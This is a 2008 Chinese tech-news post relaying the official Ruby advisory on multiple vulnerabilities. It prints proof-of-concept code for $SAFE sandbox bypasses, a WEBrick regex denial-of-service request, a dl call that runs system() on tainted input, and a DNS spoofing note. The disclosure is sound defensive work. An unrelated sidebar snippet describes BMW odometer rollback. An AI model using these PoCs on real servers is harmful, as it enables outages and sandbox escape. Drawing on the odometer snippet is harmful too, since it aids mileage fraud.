阅读更多

13顶
0踩

编程语言

原创新闻 Ruby解释器及其API库发现众多安全缺陷

2008-08-13 09:32 by 见习编辑 Eastsun 评论(1) 有6343人浏览
  Ruby上众多安全缺陷被发现,Safe Level、WEBrick、Dl和DNS查找都受到影响。Ruby官方网站建议使用者尽快将Ruby升级到最新版本。安全缺陷包括:

      untrace_var is permitted at safe level 4.

     
trace_var(:$VAR) {|val| puts "$VAR = #{val}" }

      Thread.new do
       $SAFE = 4
       eval %q{
         proc = untrace_var :$VAR
         proc.first.call("aaa")
       }
      end.join

 

      $PROGRAM_NAME may be modified at safe level 4.

     
Thread.new do
       $SAFE = 4
       eval %q{$PROGRAM_NAME.replace "Hello, World!"}
      end.join

      $PROGRAM_NAME #=> "Hello, World!"



     Insecure methods may be called at safe level 1-3.

     
class Hello
       def world
         Thread.new do
           $SAFE = 4
           msg = "Hello, World!"
           def msg.size
             self.replace self*10 # replace string
             1 # return wrong size
           end
           msg
         end.value
       end
      end

      $SAFE = 1 # or 2, or 3
      s = Hello.new.world
      if s.kind_of?(String)
       puts s if s.size < 20 # print string which size is less than 20
      end


     Syslog operations are permitted at safe level 4.

     
require "syslog"

      Syslog.open

      Thread.new do
       $SAFE = 4
       eval %q{
         Syslog.log(Syslog::LOG_WARNING, "Hello, World!")
         Syslog.mask = Syslog::LOG_UPTO(Syslog::LOG_EMERG)
         Syslog.info("masked")
         Syslog.close
       }
      end.join



  其中WEBrick中发现的安全缺陷可能导致DoS攻击。具体情况见http://www.ruby-lang.org/en/news/2008/08/08/multiple-vulnerabilities-in-ruby/

才发现Ruby官方网还有中文版的:http://www.ruby-lang.org/zh_CN/news/2008/08/08/multiple-vulnerabilities-in-ruby
来自: http://www.ruby-lang.org
13
0
评论 共 1 条 请登录后发表评论
1 楼 Eastsun 2008-08-13 09:48
才发现Ruby官方网还有中文版的:http://www.ruby-lang.org/zh_CN/news/2008/08/08/multiple-vulnerabilities-in-ruby/
引用
WEBrick中的致拒绝服务(DoS)漏洞

WEBrick::HTTP::DefaultFileHandler存在消耗指数时间响应请求的错误,因为WEBrick::HTTPUtils.split_header_value中的一个回溯正则表达式(backtracking regular expression)。

可被利用的服务器:

require 'webrick'
WEBrick::HTTPServer.new(:Port => 2000,ocumentRoot => "/etc").start

攻击:

require 'net/http'
res = Net::HTTP.start("localhost", 2000) { |http|
  req = Net::HTTP::Get.new("/passwd")
  req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
  http.request(req)
}
p res

在这个例子中这个请求很可能无法完成。

这个漏洞是由Christian Neukirchen报告的。
dl中缺乏完整性检查

dl没有进行完整性检查,因此可能允许攻击者调用危险的函数。

require 'dl'
$SAFE = 1
h = DL.dlopen(nil)
sys = h.sym('system', 'IP')
uname = 'uname -rs'.taint
sys[uname]

这个漏洞是由sheepman报告的。
resolv.rb的欺骗DNS漏洞

resolv.rb允许远程攻击者欺骗DNS响应。这个漏洞可以通过随机的DNS事务ID和源端口来解决。所以resolv.rb已经采用随机化的方式来修正。

    * 参考: CVE-2008-1447

这个漏洞是由Tanaka Akira报告的。

发表评论

您还没有登录,请您登录后再发表评论

相关推荐

  • 宝马ETK下载种子

    宝马备件查询软件,输入18 Vin码可查询配件编号。

  • 一位老程序员的通货膨胀教训

           一日不评不奋,今天有些感伤。       唐是一个老程序员,1992年在珠海做排版软件,那时的工资是5000元,不用上个人所得税,奖金另算。  唐跟着的老板叫殷步久,同北大方正的张玉峰、王选、张旋龙这些大腕儿,都是非常熟的朋友。  唐那一年事业有,钱有,会弹钢琴跳芭蕾的太太也有,一居室的房子也有,虽然旧。  炳叔那一年还在首都钢铁公司的职工大学教Basic语言,月工资102元,是当时

  • [转载]一个月赚5万美元--国产共享软件开发者周奕

    序员这个名字给许多人的第一感觉就是:埋头苦干,不抬头看路。  第一次见到周奕,正是这种感觉。  当时,我在一个好朋友的公司里,他说等会有一个程序高手会来,要给我介绍一下。不出所料,一见面,就是那种大家都能想出来的程序员形象:背着一个笔记本电脑包,一副没有睡醒的模样。我站在他身边看他写程序,见他笨的要死,用笔记本电脑的触摸板,一个像素一个像素地画图标。我问他为什么不随身带一个外接鼠标,他说习

  • 到美国去,挣美元!

     到美国去,挣美元!文/李学凌    程序员这个名字给许多人的第一感觉就是:埋头苦干不抬头看路。    第一次见到周奕,正是这种感觉。当时,我在一个好朋友的公司里,他说等会有一个程序高手会来,要给我介绍一下。不出所料,一见面,就是那种大家都能想出来的程序员形象:背着电脑包,一副没有睡醒的模样。我站在他身边看他写程序,笨得要死,用笔记本电脑的触摸板,一个像素一个像素地画图标。我问他为什么

  • 一位老程序员的指导

    以前写程序都是把所有的方法归到一个类里面,经过老吴的指导需要分开处理。 接受他中肯的意见指导。现在就改 写原型分类处理问题尽力减少服务器的压力

  • 软件人才的一条另外求生路

     第一次见到周奕,正是这种感觉。当时,我在一个好朋友的公司里,他说等会有一个程序高手会来,要给我介绍一下。不出所料,一见面,就是那种大家都能想出来的程序员形象:背着电脑包,一副没有睡醒的模样。我站在他身边看他写程序,笨得要死,用笔记本电脑的触摸板,一个像素一个像素地画图标。我问他为什么不随身带一个外接鼠标,他说习惯了。我是一个没有耐心的人,见不得这样绣花般的工作,找了一个籍口,早早开溜。   

  • 宝马里程数据恢复,全车正常!CGPRO具体操作步骤

    曾欢哦宝马神器 CGPROCAS芯片:5M48H仪表芯片:160DQWT宝马车仪表里程恢复需要调校两个模块:仪表和防盗盒,现如今的防盗都是CAS和FEM/BDC,如果只改动其中一个,里程不变。CGPRO具体功能介绍1.防盗电脑模块支持宝马EWS2 3 4 CAS1 2 3 4 4+奔驰支持的型号有211、209、215、220、210、203、164、169、639、199、230。奥迪支持型号:...

  • 宝马CIC主机清FSC的方法步骤

    1、首要用 ENET 线连车(ICOM 好像不可) 2、断定连好今后,用 tool32,load cic.prg  (图一) “大众点评们”的这个bug,被华尔街日报发现了 双击 status_get_ipconfig,取得 CIC 主机 IP 地址   首要将其备份到本地(避免出现问题能够回退) 然后,以 windows 体系为例,创立 3

  • 华晨宝马java招聘_华晨宝马面试经验

    面试过程:首先是电话信息确认,一个HR小姐姐,要求做一个英文自我介绍,然后会用英文问你几个比较常规的问题,比如什么最能激励你(what motivates you most?);为什么想加入BBA(Why do you want to join our BBA?),然后会在几天后约第一轮面试,第一轮是部门经理和一位HR,会让你做英文自我介绍,然后问你几个自身问题,对你的英文水平有了大致的了解后就中...

  • 菜鸟教程_请谨慎操作!菜鸟也能掌握宝马降级编程教程

    微信搜一搜开心汽修案例背景一辆2013年宝马760LI,搭载N74发动机,F02底盘,更换完发动机模块后,需要执行编程功能,连接MS908SPro设备执行编程时发现,设备提示无法编程,因当前需要编程的模块的集成等级高于设备现有的数据库内的集成等级,无法匹配对应的数据库。接下来,我们讲解用道通908SPro做降级编程的过程。操作步骤1.首先,将标配的黄色网线连接好编程设码的F底盘接头和网口...

  • 进军海外第二篇,慎重初战

    好了,现在你手上已经有了一个满不错的共享软件作品,你是不是打算来一个“xx正版风暴”,在3个月内迅速卖他100万套呢? 我劝你最好不要做这种打算,的确有的软件在第一版推出时就一炮打响了,但大多数软件不是,你的也未必是,我的就不是(我的软件第一个月只卖了900美元)。要做好打持久战的思想准备,既要有信心,更要有耐心。 孙子兵法曰,慎重初战。Internet营销绝不意味着烧钱,一定要量入而出,精打细算

  • 微软首席建筑师 查尔斯—西蒙尼

    这是蒋涛先生所作的一篇关于微软传奇人物Charles Simonyi的小传,我看到后觉得很有意思,值得大家一看。程序员不应该只是数字动物,“以人为鉴,可以明得失;以史为鉴,可以知兴替”,很希望大家也关心一下IT界的历史和风云人物的经历。从Charlest Simonyi的经历中,我们看到的不仅仅是个人的历程,也能看到微软早期的曲折,以及PARC的前辈那些令人尊敬的工作等等,不一而足。蒋涛先生在CS

  • 利用micro:bit开发板工具写一个小游戏

    1、micro:bit的网址 https://makecode.microbit.org/ 2、传球 项目要求: 程序开始时,一个小球( led 小灯)从屏幕上方移动到屏幕中间当按钮 A 按下时, 小球向右移动,碰到屏幕边缘停止当按钮 B 按下时,小球向左移动, 碰到屏幕边缘停止如果小球已经处于屏幕最右边,此时按下按钮 A, 给出箭头提示按按钮 B,因为小球无法再往右移动如果小球已经处于屏幕最左边, 此时按下按钮 A,给出箭头提示按按钮 B,因为小球无法再往左移动如果小球正向右移动, 此时按下按钮

  • 基于FPGA的四相八拍步进电机控制系统设计:集成交付、正反转、加速减速及调速功能

    内容概要:本文详细介绍了基于FPGA的四相八拍步进电机控制系统的开发过程。主要内容包括:1. 使用VHDL和Verilog编写LED显示屏驱动代码,用于显示角度、学号和姓名等信息;2. 实现步进电机的正反转控制,通过状态机管理相序变化;3. 开发加速减速控制模块,确保电机启动和停止时的平稳性;4. 设计调速功能,通过调节脉冲频率实现速度控制。此外,文中还讨论了调试过程中遇到的问题及其解决方案。 适合人群:对FPGA开发和步进电机控制感兴趣的电子工程师、嵌入式系统开发者以及相关专业的学生。 使用场景及目标:适用于需要高精度运动控制的应用场合,如工业自动化、机器人技术和精密仪器等领域。目标是帮助读者掌握FPGA控制步进电机的基本原理和技术细节。 其他说明:文中提供了详细的代码片段和调试经验分享,有助于读者更好地理解和应用所学知识。同时,作者还提到了一些实用技巧,如通过PWM调节实现多级变速,以及如何避免步进电机的共振问题。

  • Android开发:基于SQLite的日历备忘录记事本项目详解与实现

    内容概要:本文详细介绍了基于Android Studio开发的日历备忘录记事本项目,涵盖日历查看、添加备忘录、闹钟提醒和删除备忘录等功能。项目使用SQLite数据库进行数据存储,通过CalendarView、EditText、Button等控件实现用户交互,并利用AlarmManager和PendingIntent实现闹钟提醒功能。此外,项目还包括数据库的设计与管理,如创建DatabaseHelper类来管理数据库操作,确保数据的安全性和完整性。文章还探讨了一些常见的开发技巧和注意事项,如时间戳的使用、手势监听的实现等。 适用人群:适用于初学者和有一定经验的Android开发者,尤其是希望深入了解Android开发基础知识和技术细节的人群。 使用场景及目标:该项目旨在帮助开发者掌握Android开发的基本技能,包括UI设计、数据库操作、闹钟提醒机制等。通过实际项目练习,开发者能够更好地理解和应用这些技术,提升自己的开发能力。 其他说明:文中提到一些进阶任务,如用Room替换SQLite、增加分类标签、实现云端同步等,鼓励开发者进一步扩展和优化项目。同时,项目源码公开,便于学习和参考。

  • Matlab实现基于SVM-Adaboost支持向量机结合Adaboost集成学习时间序列预测的详细项目实例(含完整的程序,GUI设计和代码详解)

    内容概要:本文档详细介绍了一个基于SVM(支持向量机)和Adaboost集成学习的时间序列预测项目。该项目旨在通过结合这两种强大算法,提升时间序列预测的准确性和稳定性。文档涵盖了项目的背景、目标、挑战及其解决方案,重点介绍了模型架构、数据预处理、特征选择、SVM训练、Adaboost集成、预测与误差修正等环节。此外,文档还探讨了模型在金融市场、气象、能源需求、交通流量和医疗健康等多个领域的应用潜力,并提出了未来改进的方向,如引入深度学习、多任务学习、联邦学习等先进技术。 适合人群:具备一定机器学习基础的研究人员和工程师,特别是那些从事时间序列预测工作的专业人士。 使用场景及目标:①用于金融市场、气象、能源需求、交通流量和医疗健康等领域的复杂时间序列数据预测;②通过结合SVM和Adaboost,提升预测模型的准确性和稳定性;③处理噪声数据,降低计算复杂度,提高模型的泛化能力和实时预测能力。 其他说明:文档不仅提供了详细的理论解释,还附有完整的Matlab代码示例和GUI设计指导,帮助读者理解和实践。此外,文档还讨论了模型的部署与应用,包括系统架构设计、实时数据流处理、可视化界面、GPU加速推理等方面的技术细节。

  • #游戏之追逐奶酪123

    #游戏之追逐奶酪123

  • 威纶通触摸屏配方管理系统解析:宏程序、数据结构与UI设计

    内容概要:本文详细介绍了威纶通触摸屏配方管理系统的实现方法及其应用场景。首先,文章讲解了配方管理的基本概念和技术背景,强调了配方管理在工业自动化中的重要性。接着,通过具体的宏程序代码示例,展示了如何实现配方的保存、加载以及安全校验等功能。文中还提到配方数据结构的设计,如使用寄存器地址偏移来确保数据不冲突,并通过CSV文件格式方便地管理和维护配方数据。此外,文章深入探讨了UI设计方面的内容,包括动态图层技术和按钮交互效果的应用,使得用户界面更加友好和直观。最后,作者分享了一些实际项目中的经验和技巧,如文件操作的异常处理和宏指令调试方法。 适合人群:从事工业自动化领域的工程师和技术人员,尤其是对触摸屏配方管理系统感兴趣的读者。 使用场景及目标:适用于需要频繁切换设备参数的生产环境,如食品加工、注塑成型等行业。通过使用威纶通触摸屏配方管理系统,可以提高工作效率,减少人为错误,同时简化设备调试和维护流程。 其他说明:附带的工具包提供了完整的宏指令注释版、图库资源和调试工具,帮助用户更好地理解和应用该系统。

Global site tag (gtag.js) - Google Analytics